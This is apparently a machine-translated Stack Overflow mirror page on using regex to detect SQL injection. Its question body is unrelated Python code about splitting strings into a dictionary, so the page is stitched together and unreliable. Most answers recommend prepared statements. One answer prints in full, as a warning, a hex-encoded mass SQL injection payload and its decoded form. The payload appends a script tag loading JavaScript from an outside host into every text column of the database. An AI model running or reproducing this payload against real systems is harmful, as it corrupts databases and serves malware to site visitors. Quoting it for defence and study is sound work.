RegEx для обнаружения внедрения SQL

Вы также можете сделать это так (строка для преобразования здесь, а затем переход в словарь)

    string_list = """
    Hello World
    Goodbye Night
    Great Day
    Final Sunset
    """.split()

    string_list = dict(zip(string_list[::2],string_list[1::2]))

    print string_list
5
задан Gyan Veda 29 April 2015 в 16:14
поделиться

4 ответа

Не делайте этого. Вы, как практически гарантируют, перестанете работать. Использовать PreparedStatement (или его эквивалент) вместо этого.

40
ответ дан 18 December 2019 в 05:12
поделиться

Используйте хранимые процедуры или подготовленные операторы. Как Вы обнаружите что-то вроде этого?

BTW НЕ выполняют это:

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Который переводит в:

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )
14
ответ дан 18 December 2019 в 05:12
поделиться

У меня нет regex, но мое понимание - то, что самая важная вещь состоит в том, чтобы обнаружить одинарную кавычку. Все инжекционные нападения запускаются оттуда. Они, вероятно, имеют - там также, чтобы прокомментировать и другой SQL, который мог бы быть после строки.

0
ответ дан 18 December 2019 в 05:12
поделиться

Сохраните себя проблемы и используйте хранимые процедуры с подготовленными операторами или параметризированными запросами. Хранимые процедуры являются хорошей практикой так или иначе, поскольку они действуют как интерфейс к базе данных, таким образом, можно изменить то, что происходит негласно (в сохраненном proc), но подпись остается тем же. Подготовленные операторы помогают заботиться об инжекционной защите.

4
ответ дан 18 December 2019 в 05:12
поделиться
Другие вопросы по тегам:

Похожие вопросы: